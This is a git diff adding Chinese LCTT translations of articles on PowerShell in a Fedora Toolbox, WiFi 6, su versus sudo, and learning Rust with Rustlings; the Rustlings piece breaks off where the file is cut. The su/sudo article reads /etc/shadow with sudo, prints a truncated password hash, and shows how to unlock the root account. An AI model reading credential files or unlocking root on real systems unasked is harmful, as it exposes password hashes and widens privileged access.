容器是一种巧妙的解决方案。它充当了 Podman 的封装器,负责提供大量的标志,就像方法一中提到的那样。因此,Toolbox 比 Podman 容易使用。它可以用来开发和调试。有了 Toolbox,你可以运行任何命令,跟你直接在 Fedora 工作站主机上运行是一样的。 + +安装步骤跟在主机上安装一样,唯一的区别就是在容器内部进行。你需要确保已经安装了 `toolbox` 包。 + +使用 Fedora 34 Toolbox 容器需要两个步骤: + + 1. 创建 Fedora 34 Toolbox 容器 + 2. 运行 Fedora 34 Toolbox 容器 + +``` +$ toolbox create --image registry.fedoraproject.org/f34/fedora-toolbox +$ toolbox enter --container fedora-toolbox +``` + +接着,按照 [方法一:使用微软仓库][10] 中的相关内容操作。 + +可选但非常方便的做法:使用别名 `pwsh`,可以轻松地访问 Toolbox 容器: + +``` +toolbox run –container fedora-toolbox pwsh +``` + +欲移除 Toolbox 容器,需要确保你已经使用 `exit` 关闭了 Toolbox 会话,然后运行以下命令: + +``` +$ podman kill fedora-toolbox +$ toolbox rm fedora-toolbox +``` + +-------------------------------------------------------------------------------- + +via: https://fedoramagazine.org/install-powershell-on-fedora-linux/ + +作者:[TheEvilSkeleton, Ozymandias42][a] +选题:[lujun9972][b] +译者:[cool-summer-021](https://github.com/cool-summer-021) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://fedoramagazine.org/author/theevilskeleton/https://fedoramagazine.org/author/ozymandias42/ +[b]: https://github.com/lujun9972 +[1]: https://fedoramagazine.org/wp-content/uploads/2021/05/powershell-816x345.jpg +[2]: https://unsplash.com/@noaa?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText +[3]: https://unsplash.com/@thecedfox?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText +[4]: https://unsplash.com/s/photos/shell?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText +[5]: tmp.c7U2gcu9Hl#why-use-powershell +[6]: tmp.c7U2gcu9Hl#demonstration +[7]: tmp.c7U2gcu9Hl#comparison-between-bash-and-powershell +[8]: tmp.c7U2gcu9Hl#install-powershell +[9]: tmp.c7U2gcu9Hl#install-on-host-via-package-manager +[10]: tmp.c7U2gcu9Hl#method-1-microsoft-repositories +[11]: tmp.c7U2gcu9Hl#method-2-rpm-file +[12]: tmp.c7U2gcu9Hl#install-via-container +[13]: tmp.c7U2gcu9Hl#method-1-podman-container +[14]: tmp.c7U2gcu9Hl#method-2-fedora-toolbox-container +[15]: https://ilovepowershell.com/2011/11/03/list-of-top-powershell-alias/ +[16]: https://en.wikipedia.org/wiki/AWK +[17]: https://en.wikipedia.org/wiki/Resident_set_size +[18]: https://en.wikipedia.org/wiki/Process_identifier +[19]: https://github.com/PowerShell/PowerShell +[20]: https://github.com/PowerShell/PowerShell/releases/download/v7.1.3/powershell-7.1.3-1.rhel.7.x86_64.rpm +[21]: https://opencontainers.org/ +[22]: https://hub.docker.com/_/microsoft-powershell +[23]: https://podman.io/ +[24]: https://fedoramagazine.org/tag/podman/ +[0]: https://img.linux.net.cn/data/attachment/album/202212/03/120749nkevgkb12exbeffg.jpg \ No newline at end of file diff --git a/published/202212/20220608 WiFi 6 Promises Much More than Faster Speeds.md b/published/202212/20220608 WiFi 6 Promises Much More than Faster Speeds.md new file mode 100644 index 0000000000..959a4170f6 --- /dev/null +++ b/published/202212/20220608 WiFi 6 Promises Much More than Faster Speeds.md @@ -0,0 +1,96 @@ +[#]: subject: "WiFi 6 Promises Much More than Faster Speeds" +[#]: via: "https://www.opensourceforu.com/2022/06/wifi-6-promises-much-more-than-faster-speeds/" +[#]: author: "Sharon Katta https://www.opensourceforu.com/author/sharon-katta/" +[#]: collector: "lkxed" +[#]: translator: "cool-summer-021" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15369-1.html" + +WiFi 6 带来的不仅是高速 +====== + +> WiFi 6 提高了网络连通性,它在不久的将来有望为数万亿台设备组网,并且能够不间断而高效地工作。它虽然在 2019 年就取得了官方认证,但由于疫情原因,它的测试工作面临不少挑战。本文旨在对这项技术进行概述。 + +![WiFi-6][1] + +WiFi 技术的下一代标准,称为 “WiFi 6”,也可以称为 “AX WiFi” 或 “802.11ax”。它是为满足指数级增长的设备组网需求而产生的,因此也可以用于 VR 和智能家居。它是现有的 802.11ac WiFi 标准的升级版,可以应对现有技术在容量、效率、覆盖范围和性能方面遇到的挑战。 + +![Figure 1: WiFi 6][2] + +这项技术是在 2014 年进行研发,完成于 2018 年,由 IEEE 高性能无线网络研究组(HEW SG)发布。产品认证于 2019 年后期进行,此时三星 Galaxy Note 10 和 Ruckus R750 使用了这种技术。WiFi 6 运行于 1GHz 和 6GHz 波段,主要的频率为 2.4GHz-5GHz。 + +如今,每个家庭平均有九台设备需要连接 WiFi。WiFi 6 主要致力于改善网络质量,而不是提升某些设备的速度。 + +### WiFi 6的特点 + +- **多用户、多输入、多输出(MU-MIMO):** 路由器和多台设备可以同时通信。在 2.4GHz 和 5GHz 频率上,它支持四个同步的数据流,当这些数据流添加到一个用户时,可以从智能路由器接收到相当大的输入数据的带宽。 +- **1024-QAM:** 这令 WiFi 6 的每个数据包能编码的字节数更多,吞吐量增加了 25%。它不仅提高了大业务量情况下的通信效率,也最大限度增加了传输速率。这在现代企业应用系统领域有很大的优势。 +- **正交频分复用(OFDM):** 支持四倍的副载波,速度也提高了 11%。扩展的信号支持用户同时进行更多数据包传输。所以数据包之间的等待时间和延迟就减少了。 +- **增加的信道宽度:** 80MHz 的波段加入了 160MHz 的信道通信,信道宽度增加了一倍。因此,路由器可以容纳更多用户,为每个用户提供更大的数据流。 +- **目标唤醒时间(TWT):** 这是 WiFi 6 特有的。它支持每台设备独立协商发送和接收的唤醒时间。它可以增加总体睡眠时间,令电池寿命最大化。它还支持许多额外的网络选项,特别是对 IoT 设备的支持。 +- **提升安全性:** 一切支持 WiFi 6 的设备都需要包含 WPA3 协议。它可以对未经验证的通信进行加密,针对暴力字典攻击提供了强大的密码保护,以及对敏感信息进行 192 位的加密,提升数据的可靠性。 +- **波束赋形:** 借助八根天线,波束赋形能提高传输速率,通信范围也因直接定向到某个客户端而扩大。它对快速移动的、可能面临多用户、多输入、多输出的设备起到了支撑作用。波束赋形也有利于控制那些蓄意发出干扰信号的天线的传输。然后信号会被重新定向到新的目标。 + +### 支持 WiFi 6 的设备 + +到目前为止,路由器、中继器、网状网络和多数 WiFi 使用者还是以 WiFi 5 为标准。WiFi 6 是 2019 年推出的。一些支持 WiFi 5 的早期设备存在一些兼容性问题 —— 它们可以使用 WiFi 6 的网络,但得不到相应的支持服务。 + +WiFi 6 的路由器是向后兼容的。应该确保网络已经为此做好了准备。 + +WiFi 6 实现了较低的电量消耗,在任何场景(包括 IoT)下,都是个不错的选择。它减少了不必要的数据流动,还会通知设备何时将数据激活或令其睡眠。所以不必要的数据流动减少了,性能和电池寿命也提高了。 + +三星 Galaxy Note 10 和 Ruckus R750 是全球第一款经认证支持 WiFi 6 的智能手机和接入设备,苹果的最新款 iPhone 也紧随其后。WiFi 联盟已经确立了认证方案,正如人们预期的那样,等待入市的那些新款无线产品也开始申请认证了。下列设备已支持 WiFi 6: + +* iPhone 11 和之后的型号 +* 三星 Galaxy S10、S20、Note 10 和 Note 20 +* 配置 M1 处理器的苹果电脑 +* 智能电视 + +> 为了全面享受到 802.11ax 标准带来的改进,硬件和软件的功能都需要基于这种 WiFi 技术进行升级。 + +### 硬件测试 + +为了充分挖掘最新款设备的潜力,需要一台 WiFi 6 路由器来运行网络。几年前,这么做的成本很高,但现在我们有多种选择,甚至可以使用网格系统、游戏路由器、范围扩展器等等。只有在进行实际测试时,才可以购买最划算的设备。如今,在速度方面,TP-Link Archer AX6000 是最快的,它击败了所有的竞争者。这款路由器可以以 1523 Mbps 的速率无线传输数据,有效传输距离为 1.5米(5 英尺)。 + +很重要的一点,请务必记住,这些路由器提速,并不是在变魔术。理论上的最大速率 9.6 Gbps是实现不了的。这种理论上的最大速率,实际上也会被多台设备分摊掉。 + +WiFi 6 侧重于在连接设备密集的地方提供高质量的连接。它不会令单台设备的速率指数级增长,但会使相关的设备运行处于理想水平。 + +只有各大互联网服务提供商(ISP)的加速计划与 WiFi 6 路由器结合起来,才能体现它的真正潜力。真正的挑战是那些 ISP 承受的,因为它们需要铺设新型的光纤来利用这种下一代技术。存在一个重要的问题:当ISP 的通信速率变得更快,现有的硬件会变得多余吗? + +### WiFi 6 的应用 + +- **大型公共场所(LPV):** 体育馆和会议中心是上千台设备同时联网的公共场所。WiFi 6 能改善参会者体验,增强消费者互动,还能提供附加服务,比如即时回放,订购餐食等。它还支持 LPV 业主开拓新的商业机会。 +- **交通枢纽:** 公共交通站点也是人们需要同时联网的场所。OFDMA 和 BSS 这类明显具有 WiFi 6 色彩的技术为解决这种问题提供了必要的工具。 +- **物联网和智慧城市建设:** WiFi 6 的能效令物联网设备可以进入休眠模式,并且可以在预定的间隔内开启信号发射器,以便在无需过多维护的情况下增加现场作业时间。 +- **教育机构:** 大学校园内的图书馆、礼堂和报告厅内的日间 WiFi 使用密度是最高的,夜晚几乎没有人。WiFi 6 是这类场景的完美选项。 + +(LCTT 译注:相关产品推荐部分节略。) + +### 面临的挑战 + +WiFi 6 不一定使速度更快,但它能确保在一定范围内的设备速率不会在未来几年变慢。虽然它面临三重挑战,但这些问题常常被忽视。 + +- 需要对不支持的设备进行升级:即使 Wifi 6 向后兼容,但只能在最大限度使用这种技术时才能做得合理。这意味着每次都要更新设备。 +- 内部网络以外的速度和性能:WiFi 6 能为诸如云文件共享之类服务提供极好的连接性。然而,ISP 的相关资源也会影响速度和性能。 +- 覆盖范围问题:在各个国家,传输信号和带宽都是由法律规定上限的。因此,为了符合法律规定的上限,WiFi 6 的覆盖范围也是受限的。 + +尽管存在这些挑战,一些企业,像 Aruba、华硕、AT&T、Boingo、博通、思科、Comcast、CommScope、Cypress、Extreme Networks、英特尔、Netgear、Orange、高通、TP-Link 和小米,都在关注 WiFi 6 更多的可能性。 + +-------------------------------------------------------------------------------- + +via: https://www.opensourceforu.com/2022/06/wifi-6-promises-much-more-than-faster-speeds/ + +作者:[Sharon Katta][a] +选题:[lkxed][b] +译者:[cool-summer-021](https://github.com/cool-summer-021) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://www.opensourceforu.com/author/sharon-katta/ +[b]: https://github.com/lkxed +[1]: https://www.opensourceforu.com/wp-content/uploads/2022/05/WiFi-6.jpg +[2]: https://www.opensourceforu.com/wp-content/uploads/2022/05/WiFi-6-1.jpg +[0]: https://img.linux.net.cn/data/attachment/album/202212/21/165355hi20ky6mchmj0h38.jpg \ No newline at end of file diff --git a/published/202212/20220628 Linux su vs sudo- what-s the difference-.md b/published/202212/20220628 Linux su vs sudo- what-s the difference-.md new file mode 100644 index 0000000000..e0c0890a8a --- /dev/null +++ b/published/202212/20220628 Linux su vs sudo- what-s the difference-.md @@ -0,0 +1,152 @@ +[#]: subject: "Linux su vs sudo: what's the difference?" +[#]: via: "https://opensource.com/article/22/6/linux-su-vs-sudo-sysadmin" +[#]: author: "David Both https://opensource.com/users/dboth" +[#]: collector: "lkxed" +[#]: translator: "chai001125" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15347-1.html" + +Linux 中的 su 和 sudo 命令有什么区别? +====== + +> 本文将比较非 root 用户提权为 root 用户的两个 Linux 命令 的区别。 + +![][0] + +`su` 和 `sudo` 命令都允许用户执行非特权用户不允许做的系统管理任务,即只有 root 用户能执行的命令。有些人更喜欢 `sudo` 命令:例如 [Seth Kenlon][2] 最近发布的一篇 《[在 Linux 上使用 sudo 的 5 个理由][3]》,他在其中详细阐述了 `sudo` 命令的许多优点。 + +但是,相较于 `sudo` 命令,我**更偏好于 `su` 命令** 来做系统管理工作。在本文中,我比较了这两个命令的区别,并解释了为什么我更喜欢 `su` 而不是 `sudo`,但我仍然同时使用这两个命令的原因。 + +### 过去的系统管理员主要使用 su 命令 + +`su` 和 `sudo` 命令是为**不同的世界**设计的。早期的 Unix 计算机需要全职系统管理员,他们使用 root 用户作为唯一的管理帐户。在这个古老的世界里,有管理员密码的人会在电传打字机或 CRT 终端(例如 DEC VT100)上以 root 用户登录,然后执行一些管理 Unix 计算机的工作。 + +管理员还会有一些非 root 帐户,用于执行一些非 root 的任务,例如编写文档和管理电子邮件等。在这些 Unix 计算机上通常有许多非 root 帐户,他们都不需要完全的 root 访问权限,只需要以 root 权限运行很少的命令,大约 1 至 2 个就可以了。许多系统管理员以 root 用户登录,完成 root 工作,并在任务完成后,退出 root 会话。有时候,系统管理员需要整天以 root 用户来登录,因为 `sudo` 命令需要键入更多的内容才能运行必要的命令,因此大多数系统管理员很少使用 `sudo` 命令。 + +`sudo` 和 `su` 这两个命令都能够提权为 root 用户,但它们实现的方式大不相同。这种差异是由于它们**最初打算用于不同的情况**。 + +### sudo 命令 + +`sudo` 命令的初衷是让 root 用户能够让几个非 root 用户访问他们经常需要的一两个特权命令。`sudo` 命令允许非 root 用户暂时地获得更高权限,来执行一些特权命令,例如添加和删除用户、删除属于其他用户的文件、安装新软件以及管理现代 Linux 主机所需的任何命令。 + +`sudo` 命令允许非 root 用户访问一两个 _需要更高权限_ 的常用命令,这样可以帮助系统管理员节省来自用户的许多请求,并减少等待时间。`sudo` 命令不会将用户帐户切换为 root 用户,因为大多数非 root 用户永远不应该拥有完全的 root 访问权限。在大多数情况下,`sudo` 允许用户执行一两个命令,然后提权就会过期。在这个通常为 5 分钟的短暂的提权时间内,用户可以执行任何需要提权的管理命令。需要继续使用提权的用户可以运行 `sudo -v` 命令来重新验证 root 访问权限,并将提权时间再延长 5 分钟。 + +使用 `sudo` 命令还有一些副作用,例如生成非 root 用户使用命令的日志条目及其 ID。这些日志可以在之后作为出现问题的检验,来给用户更多的操作培训。(你以为我会说“问责”用户,对吧?) + +### su 命令 + +`su` 命令能够将非 root 用户提权到 root 权限 —— 事实上,能让非 root 用户成为 root 用户。唯一的要求是用户知道 root 密码。因为用户已经以 root 权限登录,所以之后的操作就没有限制了。 + +`su` 命令所提供的提权没有时间限制。用户可以作为 root 执行命令,不需要进行重新验证是否有 root 权限。完成任务后,用户可以执行退出命令 `exit`,从 root 用户恢复到自己原来的非 root 帐户。 + +### su 和 sudo 在使用上的争议和变化 + +最近在 `su` 与 `sudo` 的使用上存在一些分歧。 + +> 真正的系统管理员不会使用 `sudo`。—— Paul Venezia + +Venezia 在他的 [InfoWorld 文章][4] 中辩称,对于许多担任系统管理员的人来说,`sudo` 是一个不必要的工具。他没有花太多时间为这个观点进行解释,他只是把它说成了一个事实。我同意他对于系统管理员的观点,因为我们不需要 `sudo` 来完成我们的工作。事实上,`sudo` 使得事情变得更复杂了。 + +然而, + +> 时代在“改变”。—— Bob Dylan + +Bob Dylan 是对的,尽管他唱的歌不是指计算机(LCTT 译注:Bob Dylan 是美国创作歌手、艺术家和作家,这里指他不是针对于电脑而说的)。 + +自从人手一台的**个人计算机**时代到来,计算机的管理方式发生了重大变化。在许多环境中,计算机的使用者也是它的管理员,这使得为这些用户提供一些对 root 权限的访问是有必要的。 + +一些现代发行版,例如 Ubuntu 及其衍生版本,只能使用 `sudo` 命令来执行特权命令。在这些发行版中,用户无法直接以 root 用户身份登录,甚至无法通过 `su` 切换到 root,因此需要 `sudo` 命令来允许非 root 用户获得 root 权限。在这一环境中,所有系统管理任务均使用 `sudo` 来执行。 + +通过锁定 root 帐户并将常规用户帐户添加到“轮子”组(`wheel`),可以实现此配置,但是这种配置很容易被绕过。接下来,让我们在 Ubuntu 主机或虚拟机上尝试一些小实验吧。我在这里说明一些我的设置,以便你可以根据需要来重现它。我安装的是 Ubuntu 16.04 LTS1,并使用 VirtualBox 将其安装在虚拟机中。在安装过程中,我创建了一个非 root 用户 `student`,为了简便起见我给这个用户设置了一个简单的密码。 + +以 `student` 用户身份登录 Ubuntu,并打开终端。查看 `/etc/shadow` 文件中的 root 条目,其中存储了经哈希的密码。 + +``` +student@ubuntu1:~$ cat /etc/shadow +cat: /etc/shadow: Permission denied +``` + +可以看到终端拒绝了我们对 `/etc/shadow` 的访问,因此我们无法查看 `/etc/shadow` 文件。所有发行版都是如此,以防止非特权用户看到和访问加密的密码,因为非特权用户可能会使用常见的黑客工具来破解这些密码。 + +现在,让我们使用 `su -` 命令来成为 root 用户。 + +``` +student@ubuntu1:~$ su - +Password: +su: Authentication failure +``` + +认证失败的原因是因为 root 帐户没有密码、并且被锁定了。接下来,使用 `sudo` 命令查看 `/etc/shadow` 文件。 + +``` +student@ubuntu1:~$ sudo cat /etc/shadow +[sudo] password for student: +root:!:17595:0:99999:7::: +<截取> +student:$6$tUB/y2dt$A5ML1UEdcL4tsGMiq3KOwfMkbtk3WecMroKN/:17597:0:99999:7::: +<截取> +``` + +在这里,我仅截取了部分结果,只显示 root 和 `student` 用户的条目。我还缩短了加密密码,以便该条目能显示在一行中。各个字段以冒号(`:`)分隔,第二个字段是密码。请注意,root 的密码字段是一个感叹号(`!`),这表明 root 帐户已被锁定,且无法使用。 + +现在,要将 root 帐户变成一个合适的系统管理员,你只需为 root 帐户设置密码。 + +``` +student@ubuntu1:~$ sudo su - +[sudo] password for student: +root@ubuntu1:~# passwd root +Enter new UNIX password: +Retype new UNIX password: +passwd: password updated successfully +root@ubuntu1:~# +``` + +现在,你可以直接以 root 身份登录到控制台,或者直接使用 `su` 登录到 root,而不是在每个命令前都加一个 `sudo`。当然,你也可以在每次想以 root 身份登录时,使用 `sudo su -`,但这又是何必呢? + +请不要误解我的意思。像 Ubuntu 这样的发行版及其上下游衍生版非常好,多年来我已经使用了其中的几个。在使用 Ubuntu 和相关发行版时,我做的第一件事就是设置一个 root 密码,这样我就可以直接以 root 身份登录。其他发行版,如 Fedora 及其相关发行版,现在在安装过程中提供了一些有趣的选择。我注意到的第一个 Fedora 版本是 Fedora 34,我在写我的一本即将出版的书时安装了很多次。 + +在安装页面上,可以找到其中一个安装选项,来设置 root 密码。这个新选项允许用户选择“锁定 root 帐户 Lock root account ”,就像 Ubuntu 锁定 root 帐户的方式一样。此页面上还有一个选项,允许使用密码以 root 身份远程 SSH 登录到此主机,但这仅在 root 帐户解锁时有效。第二个选项位于允许创建非 root 帐户的页面上。此页面上的选项之一是“让此用户成为管理员 Make this user administrator ”。选中此选项后,用户 ID 将添加到一个名为 `wheel` 组的特殊组中,该组授权该组的成员使用 `sudo` 命令。Fedora 36 甚至在该复选框的描述中提到了 `wheel` 组。 + +可以将多个非 root 用户设置为管理员。使用此方法指定为管理员的任何人都可以使用 `sudo` 命令在 Linux 计算机上执行所有管理任务。Linux 在安装时只允许创建一个非 root 用户,所以其他新用户可以在创建时添加到 `wheel` 组中。root 用户或其他管理员可以使用文本编辑器或 `usermod` 命令直接将现有用户添加到 `wheel` 组。 + +在大多数情况下,今天的管理员只需要执行一些基本任务,例如添加新的打印机、安装更新或新软件,或者删除不再需要的软件。这些 GUI 工具需要 root 或管理密码,并将接受来自管理员用户的密码。 + +### 在 Linux 上,我是怎么使用 su 和 sudo 的呢 + +我**同时使用 `su` 和 `sudo`**。它们都是我所使用的很重要的系统管理员工具。 + +我不锁定 root 帐户,因为我需要用 root 帐户来运行我的 [Ansible][5] 脚本和我编写的 [rsbu][6] Bash 程序,来执行备份。这两个程序都需要以 root 身份运行,我编写的其他几个管理 Bash 的脚本也是如此。我**使用 `su` 命令**切换到 root 用户,这样我就可以执行这些脚本和许多其他常见的命令。当我需要确定问题和解决问题时,使用 `su` 命令将我的权限提升到 root 十分有用,因为我不希望 `sudo` 带来的提权会话超时。 + +当非 root 用户需要执行这些任务时,我**使用 `sudo` 命令**,来执行需要 root 权限的任务。我在 `sudoers` 文件中设置了非 root 帐户,只允许访问完成任务所需的一两个命令。当我只需要运行一两个需要提权的快速命令时,我自己也会使用 `sudo` 命令。 + +### 结论 + +实际上只要你把工作完成好了,你使用什么工具都无大碍。你使用的是 Vim 还是 Emacs,是 systemd 还是 SystemV,是 RPM 亦或是 DEB,是 `sudo` 亦或是 `su`,在结果上会有什么区别呢?这里的关键在于你应该使用**最适合你的工具**。Linux 和开源软件的最大优势之一是通常有许多选项可用于我们需要完成的任务。 + +`su` 和 `sudo` 都各有长处,如果正确使用的话,两者都是非常安全的。我选择同时使用 `su` 和 `sudo` 命令,基于它们的历史功能,因为这对我来说十分有用。对于我自己的大部分工作,我更喜欢 `su` 命令,因为它与我的工作流程最适配。 + +在评论区分享你喜欢的工作方式吧! + +本文摘自于我的书《系统管理员的 Linux 哲学The Linux Philosophy for Sysadmins(Apress,2018 年)》一书的第 19 章,并经许可后重新发布。 + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/22/6/linux-su-vs-sudo-sysadmin + +作者:[David Both][a] +选题:[lkxed][b] +译者:[chai001125](https://github.com/chai001125) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/dboth +[b]: https://github.com/lkxed +[1]: https://opensource.com/sites/default/files/lead-images/bash_command_line.png +[2]: https://opensource.com/users/seth +[3]: https://opensource.com/article/22/5/use-sudo-linux +[4]: http://www.infoworld.com/t/unix/nine-traits-the-veteran-unix-admin-276?page=0,0&source=fssr +[5]: https://opensource.com/article/20/10/first-day-ansible +[6]: https://opensource.com/article/17/1/rsync-backup-linux +[0]: https://img.linux.net.cn/data/attachment/album/202212/14/171220a47je4l0teaonzos.jpg \ No newline at end of file diff --git a/published/202212/20220729 Learn Rust by debugging Rust.md b/published/202212/20220729 Learn Rust by debugging Rust.md new file mode 100644 index 0000000000..3129292941 --- /dev/null +++ b/published/202212/20220729 Learn Rust by debugging Rust.md @@ -0,0 +1,241 @@ +[#]: subject: "Learn Rust by debugging Rust" +[#]: via: "https://opensource.com/article/22/7/learn-rust-rustlings" +[#]: author: "Gaurav Kamathe https://opensource.com/users/gkamathe" +[#]: collector: "lkxed" +[#]: translator: "yzuowei" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15395-1.html" + +以调试 Rust 的方式来学习 Rust +====== + +> Rustlings 是由 Rust 团队维护的开源项目,旨在帮助你通过调试代码的方式来学习 Rust。 + +![Ferris the crab under the sea, unofficial logo for Rust programming language][1] + +在我上一篇 [关于 Rustup 的文章][2] 中,我向你们展示了如何安装 Rust 工具链。但是,如果不能上手操作一下 Rust 的话下载工具链又有什么用?学习任何语言都包括阅读现有的代码和写很多的示例程序,这是精通一门语言的好方法。然而,我们还可以走第三条路:调试代码。 + +通过调试来学习牵扯到尝试去编译一个已经写好的(满是漏洞的)示例程序,理解编译器生成的错误信息,修复示例代码,然后再重新编译。重复这个过程直到代码能够成功被编译并运行。 + +[Rustlings][3] 是一个由 Rust 团队维护的开源项目,旨在帮助你通过调试代码来学习 Rust。它也会一路为你提供提示。如果你是一名 Rust 初学者,并且刚开始阅读或已经读完了 Rust 书籍,那么 Rustlings 就是理想的下一步。Rustllings 帮助你将运用书中所学,并转向开发更大的项目。 + +### 安装 Rustlings + +我使用(并推荐)Fedora 电脑来体验 Rustlings,但是任何 Linux 发行版都可以。要安装 Rustlings,你必须下载并运行它的安装脚本。通常建议你以不具备任何特别权限的普通用户(非 root 用户)来运行脚本。 + +记住,你需要 Rust 工具链来使用 Rustlings。如果你还没有这些工具链,请参考我 [关于 Rustup 的文章][4]。 + +当你准备好时,下载这个安装脚本: + +``` +$ curl -L https://raw.githubusercontent.com/rust-lang/rustlings/main/install.sh  > rustlings_install.sh +$ file rustlings_install.sh +rustlings_install.sh: Bourne-Again shell script, ASCII text executable +``` + +阅读脚本以了解它会做什么: + +``` +$ less rustlings_install.sh +``` + +然后运行安装: + +``` +$ bash rustlings_install.sh +[...] +Installing /home/tux/.cargo/bin/rustlings +Installed package `rustlings v4.8.0 (/home/tux/rustlings)` (executable `rustlings`) +All done! +``` + +运行 `rustlings` 以开始。 + +### Rustlings 练习 + +你现在可以使用命令 `rustlings`。与标志 `--help` 一起执行来查看可选的选项。 + +``` +$ rustlings --help +``` + +这个安装脚本也克隆了 Rustlings 的 Git 仓库,并安装了运行示例程序所需的依赖。你可以在 `ruslings` 下的 `exercises` 目录查阅这些示例程序。 + +``` +$ cd rustlings +$ pwd +/home/tux/rustlings +$ ls +AUTHORS.md  Cargo.toml        CONTRIBUTING.md  info.toml install.sh README.md  target Cargo.lock  CHANGELOG.md  exercises install.ps1  LICENSE src tests +$ ls -m exercises/ +advanced_errors, clippy, collections, conversions, enums, error_handling, functions, generics, if, intro, macros, mod.rs, +modules, move_semantics, option, primitive_types, quiz1.rs, quiz2.rs, quiz3.rs, quiz4.rs, README.md, +standard_library_types, strings, structs, tests, threads, traits, variables +``` + +### 从命令行列出所有练习 + +命令 `ruslings` 提供给你一个 `list` 命令用以展示每个示例程序,它的完整路径,以及状态 (默认为 “待定”)。 + +``` +$ rustlings list +Name         Path                                 Status +intro1       exercises/intro/intro1.rs            Pending +intro2       exercises/intro/intro2.rs            Pending +variables1   exercises/variables/variables1.rs    Pending +variables2   exercises/variables/variables2.rs    Pending +variables3   exercises/variables/variables3.rs    Pending +[...] +``` + +在显示结尾处,你会有一个进度报告用来追踪进度。 + +``` +Progress: You completed 0 / 84 exercises (0.00 %). +``` + +### 查看示例程序 + +命令 `rustlings list` 向你展示了现有的程序,所以你可以在任何时候查看这些程序的代码,你只需要将完整路径复制到你的终端作为命令 [cat][5] 或者 [less][6] 的参数: + +``` +$ cat exercises/intro/intro1.rs +``` + +### 验证你的程序 + +现在你可以开始调试程序了。你可以使用命令 `verify` 来做这件事。注意 Rustlings 选择了列表里的第一个程序(`intro1.rs`)并尝试去编译它,最后编译成功: + +``` +$ rustlings verify +Progress: [-----------------------------------] 0/84 +✅ Successfully ran exercises/intro/intro1.rs! + +You can keep working on this exercise, +or jump into the next one by removing the `I AM NOT DONE` comment: + + 6 |  // Execute the command `rustlings hint intro1` for a hint. + 7 |   + 8 |  // I AM NOT DONE + 9 | +``` + +正如你从结果中所见,尽管示例代码成功编译了,你依然需要做一些工作。每个示例程序的源文件中都带有以下注释: + +``` +$ grep "NOT DONE" exercises/intro/intro1.rs +// I AM NOT DONE +``` + +虽然第一个程序的编译没有问题,除非你去掉注释 `I AM NOT DONE`,Rustlings 不会移到下一个程序。 + +### 来到下一个练习 + +一旦你从 `intro1.rs` 中去掉这些注释,你就可以通过再一次运行命令 `rustlings verify` 来到下一个练习。这一次,你会发现 Rustlings 尝试去编译这个系列中的下一个程序(`intro2.rs`),但是遇到了一个错误。你应该调试并修复这个问题,并前进。这是你理解为什么 Rust 说程序有漏洞的至关重要的一步。 + +``` +$ rustlings verify +Progress: [>------------------------] 1/84 +⚠️  Compiling of exercises/intro/intro2.rs failed! Please try again. Here's the output: +error: 1 positional argument in format string, but no arguments were given + --> exercises/intro/intro2.rs:8:21 +  | +8 |         println!("Hello {}!"); +  |                         ^^ + +error: aborting due to previous error +``` + +### 来点提示 + +Rustlings 有一个非常好用的 `hint` 参数,这个参数会告诉你示例程序中哪里出错了,以及如何去修复它。你可以认为这是在编译错误信息基础之上,一个额外的帮助选项。 + +``` +$ rustlings hint intro2 +Add an argument after the format string. +``` + +基于以上提示,修复这个程序就很简单了。你只需要在语句 `println` 中加一个额外的参数。这个 diff 对比应该能帮你理解发生的变化: + +``` +< println!("Hello {}!", "world"); +--- +> println!("Hello {}!"); +``` + +一旦你做出了修改,并从源代码中去掉了注释 `NOT DONE`,你可以再一次运行 `rustlings verify` 来编译并运行代码。 + +``` +$ rustlings verify +Progress: [>-------------------------------------] 1/84 +✅ Successfully ran exercises/intro/intro2.rs! +``` + +### 追踪进度 + +你无法在一天之内做完所有的练习,忘记练到哪也很常见。你可以执行命令 `list` 来查看你的练习状态。 + +``` +$ rustlings list +Name         Path                                  Status +intro1       exercises/intro/intro1.rs             Done   +intro2       exercises/intro/intro2.rs             Done   +variables1   exercises/variables/variables1.rs     Pending +variables2   exercises/variables/variables2.rs     Pending +variables3   exercises/variables/variables3.rs     Pending +[...] +``` + +### 运行特定的练习 + +如果你不想从头开始并且想要跳过一些练习,Rustlings 允许你使用命令 `rustlings run` 来专注特定的练习。如此可以运行指定的程序而不需要验证之前的课程。例如: + +``` +$ rustlings run intro2 +Hello world! +✅ Successfully ran exercises/intro/intro2.rs +$ rustlings run variables1 +``` + +敲入练习名字可能会变得乏味,但 Rustlings 为你准备了便利的命令 `next` 用来移向系列中的下一个练习。 + +``` +$ rustlings run next +``` + +### 替代命令 watch + +如果你不想在每次修改后还要敲一次 `verify`,你可以在终端窗口中运行命令 `watch`,然后再继续修改源代码以解决问题。命令 `watch` 会检测到这些修改,然后重新编译以查看这些问题是否被解决。 + +``` +$ rustlings watch +``` + +### 通过调试学习 + +Rust 编译器以提供非常有意义的错误信息而被熟知,这些错误信息会帮助你理解在你代码中的问题。这通常意味着更快的调试。Rustlings 是练习 Rust,学会阅读错误信息,并理解 Rust 语言的优秀途径。来看看 [GitHub][7] 上 Rustlings 5.0.0 的最新功能吧。 + +> **[下载 Rust 速查表][8]** + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/22/7/learn-rust-rustlings + +作者:[Gaurav Kamathe][a] +选题:[lkxed][b] +译者:[yzuowei](https://github.com/yzuowei) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/gkamathe +[b]: 